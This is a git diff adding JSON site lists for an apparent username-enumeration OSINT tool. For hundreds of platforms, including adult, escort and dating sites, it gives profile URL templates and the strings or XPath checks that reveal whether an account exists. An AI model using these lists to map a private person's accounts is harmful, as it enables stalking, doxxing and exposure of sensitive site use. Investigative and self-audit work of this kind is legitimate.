{ + "url": "https://hackaday.io/{}", + "test": null, + "data": null + }, + { + "url": "https://hackerone.com/{}", + "test": null, + "data": null + }, + { + "url": "https://hackerrank.com/{}", + "test": "string", + "data": "Something went wrong!" + }, + { + "url": "https://www.house-mixes.com/profile/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://houzz.com/user/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://hubpages.com/@{}", + "test": null, + "data": null + }, + { + "url": "https://hubski.com/user/{}", + "test": "string", + "data": "No such user." + }, + { + "url": "https://icq.im/{}", + "test": null, + "data": null + }, + { + "url": "https://www.ifttt.com/p/{}", + "test": null, + "data": null + }, + { + "url": "https://imgup.cz/{}", + "test": null, + "data": null + }, + { + "url": "https://www.instructables.com/member/{}", + "test": null, + "data": null + }, + { + "url": "https://issuu.com/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.itch.io/", + "test": null, + "data": null + }, + { + "url": "https://{}.jimdosite.com", + "test": "headless", + "data": { + "found": "//*[contains(text(), 'jimdo')]", + "not_found": "/html/body/h1[contains(text(), 'Not Found')]" + } + }, + { + "url": "https://www.kaggle.com/{}", + "test": null, + "data": null + }, + { + "url": "https://keybase.io/{}", + "test": null, + "data": null + }, + { + "url": "https://kik.me/{}", + "test": "string", + "data": "class=\"pic-none\"" + }, + { + "url": "https://www.kongregate.com/accounts/{}", + "test": null, + "data": null + }, + { + "url": "https://www.linux.org.ru/people/{}/profile", + "test": null, + "data": null + }, + { + "url": "https://launchpad.net/~{}", + "test": null, + "data": null + }, + { + "url": "https://leetcode.com/{}", + "test": null, + "data": null + }, + { + "url": "https://letterboxd.com/{}", + "test": null, + "data": null + }, + { + "url": "https://lichess.org/@/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.livejournal.com", + "test": null, + "data": null + }, + { + "url": "https://lobste.rs/u/{}", + "test": null, + "data": null + }, + { + "url": "https://lolchess.gg/profile/na/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://medium.com/@{}", + "test": "string", + "data": "PAGE NOT FOUND" + }, + { + "url": "https://www.memrise.com/user/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.mixcloud.com/{}/", + "test": "api", + "data": "https://api.mixcloud.com/{}/" + }, + { + "url": "https://www.munzee.com/m/{}", + "test": null, + "data": null + }, + { + "url": "https://myanimelist.net/profile/{}", + "test": null, + "data": null + }, + { + "url": "https://www.myminifactory.com/users/{}", + "test": null, + "data": null + }, + { + "url": "https://myspace.com/{}", + "test": null, + "data": null + }, + { + "url": "https://community.native-instruments.com/profile/{}", + "test": "string", + "data": "User Not Found" + }, + { + "url": "https://namemc.com/search?q={}", + "test": "headless", + "data": { + "found": "/html/body/main/div/div[2]/div[1]/div/div/div/div[1]/div[2][contains(text(), 'Unavailable')]", + "not_found": "/html/body/main/div/div/div[1]/div/div/div/div[1]/div[2][contains(text(), 'Available')]" + } + }, + { + "url": "https://blog.naver.com/{}", + "test": "string", + "data": "<h1 class=\"error_h1\">죄송합니다. 유효하지 않은 요청입니다.</h1>" + }, + { + "url": "https://ok.ru/{}", + "test": null, + "data": null + }, + { + "url": "https://www.openstreetmap.org/user/{}", + "test": null, + "data": null + }, + { + "url": "https://opensource.com/users/{}", + "test": null, + "data": null + }, + { + "url": "https://ourdjtalk.com/members?username={}", + "test": "string", + "data": "The specified member cannot be found. Please enter a member's entire name." + }, + { + "url": "https://forums.pcgamer.com/members/?username={}", + "test": "string", + "data": "The specified member cannot be found. Please enter a member's entire name." + }, + { + "url": "https://pcpartpicker.com/user/{}", + "test": "headless", + "data": { + "found": "/html/body/section/div/div[1]/section/nav/ul/li[2]/a[contains(text(), 'Comments')]", + "not_found": "/html/body/section/div/div[1]/section/h1[contains(text(), 'Page Not Found')]" + } + }, + { + "url": "https://psnprofiles.com/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://pastebin.com/u/{}", + "test": null, + "data": null + }, + { + "url": "https://www.patreon.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.pinkbike.com/u/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.pinterest.com/{}/", + "test": "string", + "data": "<title>" + }, + { + "url": "https://play.google.com/store/apps/developer?id={}", + "test": null, + "data": null + }, + { + "url": "https://pokemonshowdown.com/users/{}", + "test": null, + "data": null + }, + { + "url": "https://polarsteps.com/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://www.polygon.com/users/{}", + "test": null, + "data": null + }, + { + "url": "https://www.producthunt.com/@{}", + "test": null, + "data": null + }, + { + "url": "http://promodj.com/{}", + "test": null, + "data": null + }, + { + "url": "https://pypi.org/user/{}", + "test": null, + "data": null + }, + { + "url": "https://quizlet.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.quora.com/{}", + "test": "method", + "data": null + }, + { + "url": "https://{}.rajce.idnes.cz/", + "test": "string", + "data": "Uživatel neexistuje" + }, + { + "url": "https://www.redbubble.com/people/{}", + "test": null, + "data": null + }, + { + "url": "https://old.reddit.com/user/{}", + "test": null, + "data": null + }, + { + "url": "https://repl.it/@{}", + "test": null, + "data": null + }, + { + "url": "https://www.reverbnation.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.roblox.com/user.aspx?username={}", + "test": null, + "data": null + }, + { + "url": "https://rubygems.org/profiles/{}", + "test": null, + "data": null + }, + { + "url": "https://www.sbazar.cz/{}", + "test": null, + "data": null + }, + { + "url": "https://scratch.mit.edu/users/{}", + "test": null, + "data": null + }, + { + "url": "https://www.scribd.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.shitpostbot.com/user/{}", + "test": null, + "data": null + }, + { + "url": "https://community.signalusers.org/u/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.slack.com", + "test": null, + "data": null + }, + { + "url": "https://slashdot.org/~{}", + "test": null, + "data": null + }, + { + "url": "https://slideshare.net/{}", + "test": null, + "data": null + }, + { + "url": "https://www.smule.com/{}", + "test": "string", + "data": "Smule | Page Not Found (404)" + }, + { + "url": "https://soundcloud.com/{}", + "test": null, + "data": null + }, + { + "url": "https://sourceforge.net/u/{}", + "test": null, + "data": null + }, + { + "url": "https://soylentnews.org/~{}", + "test": "string", + "data": "The user you requested does not exist, no matter how much you wish this might be the case." + }, + { + "url": "https://www.sparkpeople.com/mypage.asp?id={}", + "test": "string", + "data": "We couldn't find that user." + }, + { + "url": "https://speedrun.com/user/{}", + "test": null, + "data": null + }, + { + "url": "https://splits.io/users/{}", + "test": null, + "data": null + }, + { + "url": "https://www.sporcle.com/user/{}/people", + "test": null, + "data": null + }, + { + "url": "https://www.sports.ru/profile/{}/", + "test": null, + "data": null + }, + { + "url": "https://open.spotify.com/user/{}", + "test": "string", + "data": "Spotify – Web Player" + }, + { + "url": "https://robertsspaceindustries.com/citizens/{}", + "test": "string", + "data": "404 - Roberts Space Industries" + }, + { + "url": "https://steamcommunity.com/id/{}", + "test": "string", + "data": "The specified profile could not be found." + }, + { + "url": "https://steamcommunity.com/groups/{}", + "test": "string", + "data": "No group could be retrieved for the given URL." + }, + { + "url": "https://www.strava.com/athletes/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://forum.sublimetext.com/u/{}", + "test": null, + "data": null + }, + { + "url": "https://ch.tetr.io/u/{}", + "test": "api", + "data": "https://ch.tetr.io/api/users/{}" + }, + { + "url": "https://t.me/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://www.tinder.com/@{}", + "test": "string", + "data": "Tinder | Dating, Make Friends & Meet New People" + }, + { + "url": "http://en.tm-ladder.com/{}_rech.php", + "test": "string", + "data": "player unknown or invalid" + }, + { + "url": "https://www.tradingview.com/u/{}/", + "test": null, + "data": null + }, + { + "url": "https://trakt.tv/users/{}", + "test": null, + "data": null + }, + { + "url": "https://trashbox.ru/users/{}", + "test": "string", + "data": "Пользователь не найден" + }, + { + "url": "https://trello.com/{}/activity", + "test": "api", + "data": "https://trello.com/1/Members/{}" + }, + { + "url": "https://www.tripadvisor.com/Profile/{}", + "test": "headless", + "data": { + "found": "/html/body/div[2]/div/div/div[3]/div[1]/div/ul/li[1]/a[contains(text(), 'Activity')]", + "not_found": "/html/body/div[3]/div[2]/div/div[2]/div[2]/div/div[1][contains(text(), 'This page is on vacation')]" + } + }, + { + "url": "https://tryhackme.com/p/{}", + "test": null, + "data": null + }, + { + "url": "https://m.twitch.tv/{}", + "test": "string", + "data": "Sorry, that page is in another castle!" + }, + { + "url": "https://data.typeracer.com/pit/profile?user={}", + "test": "string", + "data": "Profile Not Found" + }, + { + "url": "https://ultimate-guitar.com/u/{}", + "test": "string", + "data": "Oops! We couldn't find that page." + }, + { + "url": "https://unsplash.com/@{}", + "test": null, + "data": null + }, + { + "url": "https://vk.com/{}", + "test": "method", + "data": null + }, + { + "url": "https://vsco.co/{}", + "test": null, + "data": null + }, + { + "url": "https://forum.velomania.ru/member.php?username={}", + "test": "string", + "data": "Пользователь не зарегистрирован и не имеет профиля для просмотра." + }, + { + "url": "https://venmo.com/{}", + "test": null, + "data": null + }, + { + "url": "https://vero.co/{}", + "test": null, + "data": null + }, + { + "url": "https://vimeo.com/{}", + "test": null, + "data": null + }, + { + "url": "https://virgool.io/@{}", + "test": "string", + "data": "۴۰۴" + }, + { + "url": "https://www.virustotal.com/gui/user/{}", + "test": "alt", + "data": "https://www.virustotal.com/ui/users/{}/avatar" + }, + { + "url": "https://www.warriorforum.com/members/{}.html", + "test": "string", + "data": "Error 400" + }, + { + "url": "https://www.wattpad.com/user/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.webnode.cz/", + "test": null, + "data": null + }, + { + "url": "http://www.wikidot.com/user:info/{}", + "test": "string", + "data": "User does not exist." + }, + { + "url": "https://www.wikipedia.org/wiki/User:{}", + "test": null, + "data": null + }, + { + "url": "https://community.windy.com/user/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.wix.com", + "test": null, + "data": null + }, + { + "url": "https://{}.wordpress.com/", + "test": "redirect", + "data": null + }, + { + "url": "https://profiles.wordpress.org/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.younow.com/{}", + "test": "api", + "data": "https://api.younow.com/php/api/broadcast/info/curId=0/lang=en/user={}" + }, + { + "url": "https://youpic.com/photographer/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.youtube.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.zhihu.com/people/{}", + "test": "string", + "data": "你似乎来到了没有知识存在的荒原" + }, + { + "url": "https://akniga.org/profile/{}", + "test": null, + "data": null + }, + { + "url": "https://allmylinks.com/{}", + "test": "headless", + "data": { + "found": "/html/body/div[1]/div/section/div/div/div/div[2]/div/button/span[1][contains(text(), 'Follow')]", + "not_found": "/html/body/div[1]/div[1]/section/div/div/div/div/div/h1[contains(text(), '404')]" + } + }, + { + "url": "https://www.baby.ru/u/{}/", + "test": "method", + "data": null + }, + { + "url": "https://www.babyblog.ru/user/info/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://chaos.social/@{}", + "test": null, + "data": null + }, + { + "url": "https://www.couchsurfing.com/people/{}", + "test": null, + "data": null + }, + { + "url": "https://d3.ru/user/{}/posts", + "test": null, + "data": null + }, + { + "url": "https://www.dailykos.com/user/{}", + "test": null, + "data": null + }, + { + "url": "http://dating.ru/{}", + "test": null, + "data": null + }, + { + "url": "https://devrant.com/users/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://www.drive2.ru/users/{}", + "test": null, + "data": null + }, + { + "url": "https://egpu.io/forums/profile/{}/", + "test": null, + "data": null + }, + { + "url": "https://community.eintracht.de/fans/{}", + "test": null, + "data": null + }, + { + "url": "https://www.fixya.com/users/{}", + "test": "headless", + "data": { + "found": "/html/body/div[3]/div[4]/div/div[2]/div/div[1]/h3[contains(text(), 'Stats')]", + "not_found": "/html/body/div[2]/div/fieldset/h2[contains(text(), '404')]" + } + }, + { + "url": "https://www.fl.ru/users/{}", + "test": null, + "data": null + }, + { + "url": "https://forum.guns.ru/forummisc/blog/{}", + "test": "string", + "data": "нет такого участника" + }, + { + "url": "https://www.forumhouse.ru/members/?username={}", + "test": "string", + "data": "Указанный пользователь не найден. Пожалуйста, введите другое имя." + }, + { + "url": "https://www.geocaching.com/p/default.aspx?u={}", + "test": null, + "data": null + }, + { + "url": "https://gfycat.com/@{}", + "test": null, + "data": null + }, + { + "url": "https://habr.com/ru/users/{}", + "test": null, + "data": null + }, + { + "url": "https://www.hackster.io/{}", + "test": null, + "data": null + }, + { + "url": "https://www.hunting.ru/forum/members/?username={}", + "test": "string", + "data": "Указанный пользователь не найден. Пожалуйста, введите другое имя." + }, + { + "url": "https://imgsrc.ru/main/user.php?user={}", + "test": "redirect", + "data": null + }, + { + "url": "http://forum.igromania.ru/member.php?username={}", + "test": "string", + "data": "Пользователь не зарегистрирован и не имеет профиля для просмотра." + }, + { + "url": "https://www.interpals.net/{}", + "test": "string", + "data": "The requested user does not exist or is inactive." + }, + { + "url": "https://irecommend.ru/users/{}", + "test": null, + "data": null + }, + { + "url": "https://jbzd.com.pl/uzytkownik/{}", + "test": null, + "data": null + }, + { + "url": "http://www.jeuxvideo.com/profil/{}?mode=infos", + "test": "method", + "data": null + }, + { + "url": "https://kwork.ru/user/{}", + "test": null, + "data": null + }, + { + "url": "https://lab.pentestit.ru/profile/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://last.fm/user/{}", + "test": null, + "data": null + }, + { + "url": "https://forum.leasehackr.com/u/{}/summary/", + "test": null, + "data": null + }, + { + "url": "https://www.livelib.ru/reader/{}", + "test": null, + "data": null + }, + { + "url": "https://mastodon.cloud/@{}", + "test": null, + "data": null + }, + { + "url": "https://mastodon.social/@{}", + "test": null, + "data": null + }, + { + "url": "https://mastodon.xyz/@{}", + "test": null, + "data": null + }, + { + "url": "https://www.mercadolivre.com.br/perfil/{}", + "test": null, + "data": null + }, + { + "url": "https://www.metacritic.com/user/{}", + "test": "headless", + "data": { + "found": "/html/body/div[1]/div[2]/div[1]/div[1]/div/div/div[2]/div/div/div/div[1]/div[2]/div/h2[contains(text(), 'SCORES')]", + "not_found": "/html/body/div[1]/div[2]/div[1]/div[1]/div/div/div[2]/div/div/div/div[1]/div[1]/div[contains(text(), 'User not found')]" + } + }, + { + "url": "https://moikrug.ru/{}", + "test": null, + "data": null + }, + { + "url": "https://mstdn.io/@{}", + "test": null, + "data": null + }, + { + "url": "https://www.nairaland.com/{}", + "test": "headless", + "data": { + "found": "/html/body/div/table[2]/tbody/tr/td/p[1]/b[contains(text(), 'registered')]", + "not_found": "/html/body/div/h2[contains(text(), '404')]" + } + }, + { + "url": "https://{}.www.nn.ru/", + "test": null, + "data": null + }, + { + "url": "https://note.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.npmjs.com/~{}", + "test": null, + "data": null + }, + { + "url": "https://www.opennet.ru/~{}", + "test": "string", + "data": "Имя участника не найдено" + }, + { + "url": "https://osu.ppy.sh/users/{}", + "test": null, + "data": null + }, + { + "url": "https://php.ru/forum/members/?username={}", + "test": "string", + "data": "Указанный пользователь не найден. Пожалуйста, введите другое имя." + }, + { + "url": "https://pikabu.ru/@{}", + "test": null, + "data": null + }, + { + "url": "https://pr0gramm.com/user/{}", + "test": "api", + "data": "https://pr0gramm.com/api/profile/info?name={}" + }, + { + "url": "https://satsis.info/user/{}", + "test": null, + "data": null + }, + { + "url": "https://social.tchncs.de/@{}", + "test": null, + "data": null + }, + { + "url": "https://spletnik.ru/user/{}", + "test": null, + "data": null + }, + { + "url": "https://www.svidbook.ru/user/{}", + "test": null, + "data": null + }, + { + "url": "https://www.toster.ru/user/{}/answers", + "test": null, + "data": null + }, + { + "url": "http://uid.me/{}", + "test": null, + "data": null + }, + { + "url": "https://www.instagram.com/{}/", + "test": "headless", + "data": { + "found": "/html/body/div[2]/div/div/div[1]/div/div/div/div[1]/section/main/div/header/section/div[1]/div/div/div/button/div/div[contains(text(), 'Follow')]", + "not_found": "/html/body/div[2]/div/div/div[1]/div/div/div/div[1]/section/main/div/div/h2[contains(text(), 'Sorry')]" + } + }, + { + "url": "https://gist.github.com/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.zoomit.ir/user/{}/", + "test": null, + "data": null + }, + { + "url": "https://{}.github.io/", + "test": null, + "data": null + }, + { + "url": "https://code.golf/golfers/{}", + "test": "method", + "data": null + }, + { + "url": "https://hashnode.com/@{}", + "test": null, + "data": null + }, + { + "url": "https://pixelfed.de/{}", + "test": null, + "data": null + }, + { + "url": "https://pixelfed.tokyo/{}", + "test": null, + "data": null + }, + { + "url": "https://pixelfed.se/{}", + "test": null, + "data": null + }, + { + "url": "https://pixelfed.uno/{}", + "test": null, + "data": null + }, + { + "url": "https://pixelfed.nz/{}", + "test": null, + "data": null + }, + { + "url": "https://www.change.org/o/{}", + "test": null, + "data": null + }, + { + "url": "https://forum.antichat.ru/search/search?users={}", + "test": "string", + "data": "The following members could not be found" + }, + { + "url": "https://forums.majorgeeks.com/search/search?users={}", + "test": "string", + "data": "The following members could not be found" + }, + { + "url": "https://musicbrainz.org/user/{}", + "test": null, + "data": null + }, + { + "url": "https://archiveofourown.org/users/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://{}.tumblr.com/", + "test": null, + "data": null + }, + { + "url": "https://codeforces.com/profile/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://boardgamegeek.com/user/{}", + "test": "string", + "data": "Error: User does not exist." + }, + { + "url": "http://www.vimgolf.com/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://ifunny.co/user/{}", + "test": null, + "data": null + }, + { + "url": "https://linktr.ee/{}", + "test": null, + "data": null + }, + { + "url": "https://www.hackerearth.com/@{}", + "test": "string", + "data": "404. URL not found." + }, + { + "url": "https://valorantforums.com/u/{}", + "test": null, + "data": null + }, + { + "url": "https://discourse.jupyter.org/u/{}/summary", + "test": null, + "data": null + }, + { + "url": "https://cplusplus.com/user/{}/", + "test": "string", + "data": "404 Page Not Found" + }, + { + "url": "https://www.ruby-forum.com/u/{}/summary", + "test": null, + "data": null + }, + { + "url": "https://discuss.python.org/u/{}/summary", + "test": null, + "data": null + }, + { + "url": "https://baraza.africa/u/{}", + "test": "string", + "data": "couldnt_find_that_username_or_email" + }, + { + "url": "https://{}.bitbucket.io/", + "test": null, + "data": null + }, + { + "url": "https://www.bitchute.com/channel/{}/", + "test": null, + "data": null + }, + { + "url": "https://{}.carrd.co/", + "test": null, + "data": null + }, + { + "url": "https://casually.cat/@{}", + "test": null, + "data": null + }, + { + "url": "https://codeberg.org/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.codeberg.page/", + "test": null, + "data": null + }, + { + "url": "http://{}.ctcin.bio/", + "test": "string", + "data": "Page not found" + }, + { + "url": "https://{}.contactin.bio/", + "test": "string", + "data": "Page not found" + }, + { + "url": "http://{}.contactinbio.com/", + "test": "string", + "data": "Page not found" + }, + { + "url": "https://coub.com/{}", + "test": null, + "data": null + }, + { + "url": "https://dlive.tv/{}", + "test": "headless", + "data": { + "found": "//*[contains(text(), 'ABOUT')]", + "not_found": "//*[contains(text(), 'Channel not found')]" + } + }, + { + "url": "https://ds9.lemmy.ml/u/{}", + "test": "string", + "data": "couldnt_find_that_username_or_email" + }, + { + "url": "https://app.realunify.com/users/{}", + "test": null, + "data": null + }, + { + "url": "https://www.flowcode.com/page/{}", + "test": "string", + "data": "Nobody's reserved this Flowpage yet" + }, + { + "url": "https://tv.gab.com/channel/{}", + "test": "method", + "data": null + }, + { + "url": "https://lemmy.glasgow.social/u/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://hypel.ink/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.imgbb.com/", + "test": "redirect", + "data": null + }, + { + "url": "https://lemmy.ml/u/{}", + "test": "string", + "data": "couldnt_find_that_username_or_email" + }, + { + "url": "https://lemmy.eus/u/{}", + "test": "string", + "data": "couldnt_find_that_username_or_email" + }, + { + "url": "https://lemmy.tedomum.net/u/{}", + "test": "string", + "data": "couldnt_find_that_username_or_email" + }, + { + "url": "https://lemmygrad.ml/u/{}", + "test": "string", + "data": "couldnt_find_that_username_or_email" + }, + { + "url": "https://voyager.lemmy.ml/u/{}", + "test": "string", + "data": "couldnt_find_that_username_or_email" + }, + { + "url": "https://www.liinks.co/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://linktube.com/{}", + "test": null, + "data": null + }, + { + "url": "https://litelink.at/{}", + "test": null, + "data": null + }, + { + "url": "https://lnk.bio/{}", + "test": "redirect", + "data": null + }, + { + "url": "https://many.link/{}", + "test": "string", + "data": "Couldn't find a profile named" + }, + { + "url": "https://{}.neocities.org/", + "test": null, + "data": null + }, + { + "url": "https://pixelhub.me/pixelhub1/index.php?user={}", + "test": "redirect", + "data": null + }, + { + "url": "https://shor.by/{}", + "test": null, + "data": null + }, + { + "url": "https://solo.to/{}", + "test": "headless", + "data": { + "found": "/html/body/div[2]/a[contains(text(), 'create your own')]", + "not_found": "/html/body/div[2]/div/div/h1[contains(text(), 'Hmm')]" + } + }, + { + "url": "https://sr.ht/~{}/", + "test": null, + "data": null + }, + { + "url": "https://www.spreaker.com/user/{}", + "test": null, + "data": null + }, + { + "url": "https://{}.squarespace.com/", + "test": null, + "data": null + }, + { + "url": "https://{}.surge.sh", + "test": null, + "data": null + }, + { + "url": "https://{}.weebly.com/", + "test": null, + "data": null + }, + { + "url": "https://www.worldtruth.online/{}", + "test": null, + "data": null + }, + { + "url": "https://www.twitter.com/{}", + "test": "headless", + "data": { + "found": "//*[contains(text(), 'Followers')]", + "not_found": "//*[contains(text(), 'This account doesn')]" + } + }, + { + "url": "https://bugcrowd.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.fiverr.com/{}", + "test": "headless", + "data": { + "found": "/html/body/div[2]/div[2]/div[2]/div/div/div[2]/div[2]/div[1]/div[2]/div[2]/div/h3[contains(text(), 'Languages')]", + "not_found": "//*[contains(text(), 'Find the perfect') or contains(text(), 'what you were')]" + } + }, + { + "url": "https://tenor.com/users/{}", + "test": null, + "data": null + } +] diff --git a/data/sites/reveal_my_name.json b/data/sites/reveal_my_name.json new file mode 100644 index 0000000..e58d608 --- /dev/null +++ b/data/sites/reveal_my_name.json @@ -0,0 +1,7076 @@ +{ + "license" : ["Copyright (C) 2023 Micah Hoffman", + "This work is licensed under the Creative Commons Attribution-ShareAlike", + "4.0 International License. To view a copy of this license, visit", + "http://creativecommons.org/licenses/by-sa/4.0/ or send a letter to", + "Creative Commons, PO Box 1866, Mountain View, CA 94042, USA."], + "authors" : ["Micah 'WebBreacher' Hoffman","C3n7ral051nt4g3ncy","Munchko","L0r3m1p5um","lehuff", + "janbinx","bcoles","arnydo","mccartney","salaheldinaz","camhoff","jocephus", + "swedishmike","soxoj","jspinel","ef1500","zewen","jocejocejoe","P3run","seintpl", + "djahren","K2SOsint","Sector035","AccentuSoft"], + "categories" : ["archived","art","blog","business","coding","dating","finance","gaming","health", + "hobby","images","misc","music","news","political","search","shopping","social", + "tech","video","XXXPORNXXX"], + "sites" : [ + { + "name" : "Mastodon-101010.pl", + "uri_check" : "https://101010.pl/@{account}", + "e_code" : 200, + "e_string" : "@101010.pl", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["szekspir", "xaphanpl"], + "cat" : "social", + "valid" : true + }, + { + "name" : "1001mem", + "uri_check" : "http://1001mem.ru/{account}", + "e_code" : 200, + "e_string" : "| Новости - Приколы - Комиксы - Мемы", + "m_string" : "Этот пользователь не существует, или заблокирован.", + "m_code" : 200, + "known" : ["ruslan", "dima"], + "cat" : "social", + "valid" : true + }, + { + "name" : "3DNews", + "uri_check" : "http://forum.3dnews.ru/member.php?username={account}", + "e_code" : 200, + "e_string" : "Форум 3DNews - Просмотр профиля:", + "m_string" : "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "m_code" : 200, + "known" : ["bob", "red"], + "cat" : "social", + "valid" : true + }, + { + "name" : "247sports", + "uri_check" : "https://247sports.com/User/{account}/", + "e_code" : 200, + "e_string" : "<meta property=", + "m_string" : "<title>247Sports", + "m_code" : 404, + "known" : ["bob", "john"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "3dtoday", + "uri_check" : "https://3dtoday.ru/blogs/{account}", + "e_code" : 200, + "e_string" : "Блог владельца 3d-принтера", + "m_string" : "404 Not Found", + "m_code" : 302, + "known" : ["sergei", "vlad"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "7cup", + "uri_check" : "https://www.7cups.com/@{account}", + "e_code" : 200, + "e_string" : "Profile - 7 Cups", + "m_string" : "Oops! The content you're attempting to access could not be found.", + "m_code" : 404, + "known" : [ "john", "jbob"], + "cat" : "social", + "valid" : true + }, + { + "name" : "7dach", + "uri_check" : "https://7dach.ru/profile/{account}", + "e_code" : 200, + "e_string" : "Информация / Профиль", + "m_string" : "Ошибка / 7dach.ru", + "m_code" : 200, + "known" : ["lana", "svetlana"], + "cat" : "social", + "valid" : true + }, + { + "name" : "21buttons", + "uri_check" : "https://www.21buttons.com/buttoner/{account}", + "e_code" : 200, + "e_string" : "profile_user_followers", + "m_string" : "This is not the page you're looking for", + "m_code" : 404, + "known" : ["teedawod", "ginamariahoffmann"], + "cat" : "social", + "valid" : true + }, + { + "name" : "aaha_chat", + "uri_check" : "https://www.aahachat.org/profile/{account}/", + "e_code" : 200, + "e_string" : "og:title", + "m_string" : "<title>Aaha Chat Rooms - ", + "m_code" : 301, + "known" : ["crazy", "dog"], + "cat" : "social", + "valid" : true + }, + { + "name" : "about.me", + "uri_check" : "https://about.me/{account}", + "e_code" : 200, + "e_string" : " | about.me", + "m_string" : "<title>about.me", + "m_code" : 404, + "known" : ["john", "jill"], + "cat" : "social", + "valid" : true + }, + { + "name" : "ACF", + "uri_check" : "https://support.advancedcustomfields.com/forums/users/{account}", + "e_code" : 200, + "e_string" : "ACF Support", + "m_string" : "Page Not Found", + "m_code" : 200, + "known" : ["mike", "greg"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "admire_me", + "uri_check" : "https://admireme.vip/{account}/", + "e_code" : 200, + "e_string" : "<div id=", + "m_string" : "<title>Page Not Found |", + "m_code" : 404, + "known" : ["justjessicarabbit", "savannah250xo"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Adult_Forum", + "uri_check" : "https://adultforum.gr/{account}-glamour-escorts/", + "e_code" : 200, + "e_string" : "Glamour Escorts ", + "m_string" : "Page not found - Adult Forum Gr", + "m_code" : 404, + "known" : ["nastya3", "ekaterina"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "adultism", + "uri_check" : "https://www.adultism.com/profile/{account}", + "e_code" : 200, + "e_string" : "static/r-1OqQ4o/css/www/main.css", + "m_string" : "<title> Not Found", + "m_code" : 404, + "known" : ["laura", "sara"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "ADVFN", + "uri_check" : "https://uk.advfn.com/forum/profile/{account}", + "e_code" : 200, + "e_string" :"Profile | ADVFN", + "m_string" : "ADVFN ERROR - Page Not Found", + "m_code" : 404, + "known" : ["crypto", "crypto1"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "aflam", + "uri_check" : "https://www.aflam4you.net/profile.html?u={account}", + "post_body" : "", + "e_code" : 200, + "e_string" : ") on بث حي و مباشر", + "m_string" : "Plz Visit", + "m_code" : 302, + "known" : ["ahmed", "brahim01"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Airline_Pilot_Life", + "uri_check" : "https://airlinepilot.life/u/{account}", + "e_code" : 200, + "e_string" : "<title> Profile -", + "m_string" : "Page Not Found - Airline Pilot Life", + "m_code" : 404, + "known" : ["hannah", "addison"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Airliners", + "uri_check" : "https://www.airliners.net/user/{account}/profile", + "e_code" : 200, + "e_string" : "'s Profile | Airliners Members | Airliners.net", + "m_string" : "An Error Occurred", + "m_code" : 404, + "known" : ["pilot", "pilota"], + "cat" : "social", + "valid" : true + }, + { + "name" : "akniga", + "uri_check" : "https://akniga.org/profile/{account}", + "e_code" : 200, + "e_string" : " - Аудиокниги Клуб", + "m_string" : "Vizitka nenalezena", + "m_code" : 404, + "known" : ["igor", "pavel"], + "cat" : "social", + "valid" : true + }, + { + "name" : "allesovercrypto", + "uri_check" : "https://allesovercrypto.nl/user/{account}", + "e_code" : 200, + "e_string" : "Favoriete coins", + "m_string" : "De opgevraagde pagina kon niet gevonden worden.", + "m_code" : 200, + "known" : ["gijsv", "patrick-suiker"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "allmylinks", + "uri_check" : "https://allmylinks.com/{account}", + "e_code" : 200, + "e_string" : "message", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["blue", "beccaturner"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Alloannonces", + "uri_check" : "https://www.alloannonces.ma/{account}/", + "e_code" : 200, + "e_string" : "Vendeurs/Agents", + "m_string" : "Page non defini", + "m_code" : 404, + "known" : ["Rachid13", "Ayoub"], + "cat" : "social", + "valid" : true + }, + { + "name" : "AllTrails", + "uri_check" : "https://www.alltrails.com/members/{account}", + "e_code" : 200, + "e_string" : "'s Profile | ", + "m_string" : "User could not be found.", + "m_code" : 302, + "known" : ["breckt", "rdoghartwig"], + "cat" : "health", + "valid" : true + }, + { + "name" : "Ameblo", + "uri_check" : "https://ameblo.jp/{account}", + "e_code" : 200, + "e_string" : "画像一覧", + "m_string" : "削除された可能性がございます。", + "m_code" : 404, + "known" : ["ereko-blog", "senpai"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "AmericanThinker", + "uri_check" : "https://www.americanthinker.com/author/{account}/", + "e_code" : 200, + "e_string" : "Articles &", + "m_string" : "American Thinker", + "m_code" : 301, + "known" : ["terrypaulding", "monicashowalter"], 